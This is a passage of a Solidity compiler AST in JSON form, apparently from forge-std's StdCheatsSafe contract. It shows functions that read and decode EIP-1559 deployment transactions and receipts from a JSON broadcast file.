memory"}],"expression":{"id":4637,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14443:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14446:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"14443:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14443:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"14416:44:3"},{"assignments":[4643],"declarations":[{"constant":false,"id":4643,"mutability":"mutable","name":"parsedDeployData","nameLocation":"14483:16:3","nodeType":"VariableDeclaration","scope":4667,"src":"14470:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4642,"name":"bytes","nodeType":"ElementaryTypeName","src":"14470:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4649,"initialValue":{"arguments":[{"id":4646,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4636,"src":"14515:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"2e7472616e73616374696f6e73","id":4647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14527:15:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_9b594723e6093f4c1c210e08bcd523373e89874e267b69a9d9a7cb17952e3049","typeString":"literal_string \".transactions\""},"value":".transactions"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_9b594723e6093f4c1c210e08bcd523373e89874e267b69a9d9a7cb17952e3049","typeString":"literal_string \".transactions\""}],"expression":{"id":4644,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14502:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4645,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14505:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"14502:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4648,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14502:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"14470:73:3"},{"assignments":[4654],"declarations":[{"constant":false,"id":4654,"mutability":"mutable","name":"rawTxs","nameLocation":"14572:6:3","nodeType":"VariableDeclaration","scope":4667,"src":"14553:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"},"typeName":{"baseType":{"id":4652,"nodeType":"UserDefinedTypeName","pathNode":{"id":4651,"name":"RawTx1559","nameLocations":["14553:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"14553:9:3"},"referencedDeclaration":3526,"src":"14553:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"id":4653,"nodeType":"ArrayTypeName","src":"14553:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"}},"visibility":"internal"}],"id":4662,"initialValue":{"arguments":[{"id":4657,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4643,"src":"14592:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"baseExpression":{"id":4658,"name":"RawTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3526,"src":"14611:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}},"id":4659,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"IndexAccess","src":"14611:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 memory[] memory)"}}],"id":4660,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"14610:13:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 memory[] memory)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 memory[] memory)"}],"expression":{"id":4655,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14581:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4656,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14585:6:3","memberName":"decode","nodeType":"MemberAccess","src":"14581:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14581:43:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"14553:71:3"},{"expression":{"arguments":[{"id":4664,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4654,"src":"14666:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}],"id":4663,"name":"rawToConvertedEIPTx1559s","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4486,"src":"14641:24:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory[] memory) pure returns (struct StdCheatsSafe.Tx1559 memory[] memory)"}},"id":4665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14641:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"functionReturnParameters":4634,"id":4666,"nodeType":"Return","src":"14634:39:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readTx1559s","nameLocation":"14326:11:3","parameters":{"id":4629,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4628,"mutability":"mutable","name":"path","nameLocation":"14352:4:3","nodeType":"VariableDeclaration","scope":4668,"src":"14338:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4627,"name":"string","nodeType":"ElementaryTypeName","src":"14338:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14337:20:3"},"returnParameters":{"id":4634,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4633,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4668,"src":"14389:15:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":4631,"nodeType":"UserDefinedTypeName","pathNode":{"id":4630,"name":"Tx1559","nameLocations":["14389:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"14389:6:3"},"referencedDeclaration":3562,"src":"14389:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4632,"nodeType":"ArrayTypeName","src":"14389:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"}],"src":"14388:17:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4723,"nodeType":"FunctionDefinition","src":"14686:453:3","nodes":[],"body":{"id":4722,"nodeType":"Block","src":"14787:352:3","nodes":[],"statements":[{"assignments":[4679],"declarations":[{"constant":false,"id":4679,"mutability":"mutable","name":"deployData","nameLocation":"14811:10:3","nodeType":"VariableDeclaration","scope":4722,"src":"14797:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4678,"name":"string","nodeType":"ElementaryTypeName","src":"14797:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4684,"initialValue":{"arguments":[{"id":4682,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4670,"src":"14836:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4680,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14824:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4681,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14827:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"14824:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14824:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"14797:44:3"},{"assignments":[4686],"declarations":[{"constant":false,"id":4686,"mutability":"mutable","name":"key","nameLocation":"14865:3:3","nodeType":"VariableDeclaration","scope":4722,"src":"14851:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4685,"name":"string","nodeType":"ElementaryTypeName","src":"14851:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4699,"initialValue":{"arguments":[{"arguments":[{"hexValue":"2e7472616e73616374696f6e735b","id":4691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14895:16:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_7abc4cdd6094bba2d56cb8a26083c756a68ba4e3b40f345f8102e1fc2249cd5c","typeString":"literal_string \".transactions[\""},"value":".transactions["},{"arguments":[{"id":4694,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4672,"src":"14925:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4692,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14913:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14916:8:3","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"14913:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":4695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14913:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"5d","id":4696,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14933:3:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""},"value":"]"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7abc4cdd6094bba2d56cb8a26083c756a68ba4e3b40f345f8102e1fc2249cd5c","typeString":"literal_string \".transactions[\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""}],"expression":{"id":4689,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14878:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4690,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14882:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"14878:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":4697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14878:59:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14871:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":4687,"name":"string","nodeType":"ElementaryTypeName","src":"14871:6:3","typeDescriptions":{}}},"id":4698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14871:67:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"14851:87:3"},{"assignments":[4701],"declarations":[{"constant":false,"id":4701,"mutability":"mutable","name":"parsedDeployData","nameLocation":"14961:16:3","nodeType":"VariableDeclaration","scope":4722,"src":"14948:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4700,"name":"bytes","nodeType":"ElementaryTypeName","src":"14948:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4707,"initialValue":{"arguments":[{"id":4704,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4679,"src":"14993:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":4705,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4686,"src":"15005:3:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4702,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14980:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4703,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14983:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"14980:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4706,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14980:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"14948:61:3"},{"assignments":[4710],"declarations":[{"constant":false,"id":4710,"mutability":"mutable","name":"rawTx","nameLocation":"15036:5:3","nodeType":"VariableDeclaration","scope":4722,"src":"15019:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559"},"typeName":{"id":4709,"nodeType":"UserDefinedTypeName","pathNode":{"id":4708,"name":"RawTx1559","nameLocations":["15019:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"15019:9:3"},"referencedDeclaration":3526,"src":"15019:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"visibility":"internal"}],"id":4717,"initialValue":{"arguments":[{"id":4713,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4701,"src":"15055:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":4714,"name":"RawTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3526,"src":"15074:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}}],"id":4715,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"15073:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}],"expression":{"id":4711,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15044:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4712,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15048:6:3","memberName":"decode","nodeType":"MemberAccess","src":"15044:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4716,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15044:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"nodeType":"VariableDeclarationStatement","src":"15019:66:3"},{"expression":{"arguments":[{"id":4719,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4710,"src":"15126:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}],"id":4718,"name":"rawToConvertedEIPTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4546,"src":"15102:23:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawTx1559_$3526_memory_ptr_$returns$_t_struct$_Tx1559_$3562_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory) pure returns (struct StdCheatsSafe.Tx1559 memory)"}},"id":4720,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15102:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"functionReturnParameters":4677,"id":4721,"nodeType":"Return","src":"15095:37:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readTx1559","nameLocation":"14695:10:3","parameters":{"id":4673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4670,"mutability":"mutable","name":"path","nameLocation":"14720:4:3","nodeType":"VariableDeclaration","scope":4723,"src":"14706:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4669,"name":"string","nodeType":"ElementaryTypeName","src":"14706:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":4672,"mutability":"mutable","name":"index","nameLocation":"14734:5:3","nodeType":"VariableDeclaration","scope":4723,"src":"14726:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4671,"name":"uint256","nodeType":"ElementaryTypeName","src":"14726:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14705:35:3"},"returnParameters":{"id":4677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4676,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4723,"src":"14772:13:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559"},"typeName":{"id":4675,"nodeType":"UserDefinedTypeName","pathNode":{"id":4674,"name":"Tx1559","nameLocations":["14772:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"14772:6:3"},"referencedDeclaration":3562,"src":"14772:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"visibility":"internal"}],"src":"14771:15:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4765,"nodeType":"FunctionDefinition","src":"15201:371:3","nodes":[],"body":{"id":4764,"nodeType":"Block","src":"15292:280:3","nodes":[],"statements":[{"assignments":[4733],"declarations":[{"constant":false,"id":4733,"mutability":"mutable","name":"deployData","nameLocation":"15316:10:3","nodeType":"VariableDeclaration","scope":4764,"src":"15302:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4732,"name":"string","nodeType":"ElementaryTypeName","src":"15302:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4738,"initialValue":{"arguments":[{"id":4736,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4725,"src":"15341:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4734,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15329:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4735,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15332:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"15329:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15329:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"15302:44:3"},{"assignments":[4740],"declarations":[{"constant":false,"id":4740,"mutability":"mutable","name":"parsedDeployData","nameLocation":"15369:16:3","nodeType":"VariableDeclaration","scope":4764,"src":"15356:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4739,"name":"bytes","nodeType":"ElementaryTypeName","src":"15356:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4746,"initialValue":{"arguments":[{"id":4743,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4733,"src":"15401:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"2e7265636569707473","id":4744,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15413:11:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_29a5d3664a45019923b250b65c7d5b7f8c019d3960761fa9ca59b9001f893261","typeString":"literal_string \".receipts\""},"value":".receipts"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_29a5d3664a45019923b250b65c7d5b7f8c019d3960761fa9ca59b9001f893261","typeString":"literal_string \".receipts\""}],"expression":{"id":4741,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15388:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4742,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15391:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"15388:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15388:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"15356:69:3"},{"assignments":[4751],"declarations":[{"constant":false,"id":4751,"mutability":"mutable","name":"rawReceipts","nameLocation":"15455:11:3","nodeType":"VariableDeclaration","scope":4764,"src":"15435:31:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"},"typeName":{"baseType":{"id":4749,"nodeType":"UserDefinedTypeName","pathNode":{"id":4748,"name":"RawReceipt","nameLocations":["15435:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"15435:10:3"},"referencedDeclaration":3666,"src":"15435:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"id":4750,"nodeType":"ArrayTypeName","src":"15435:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct 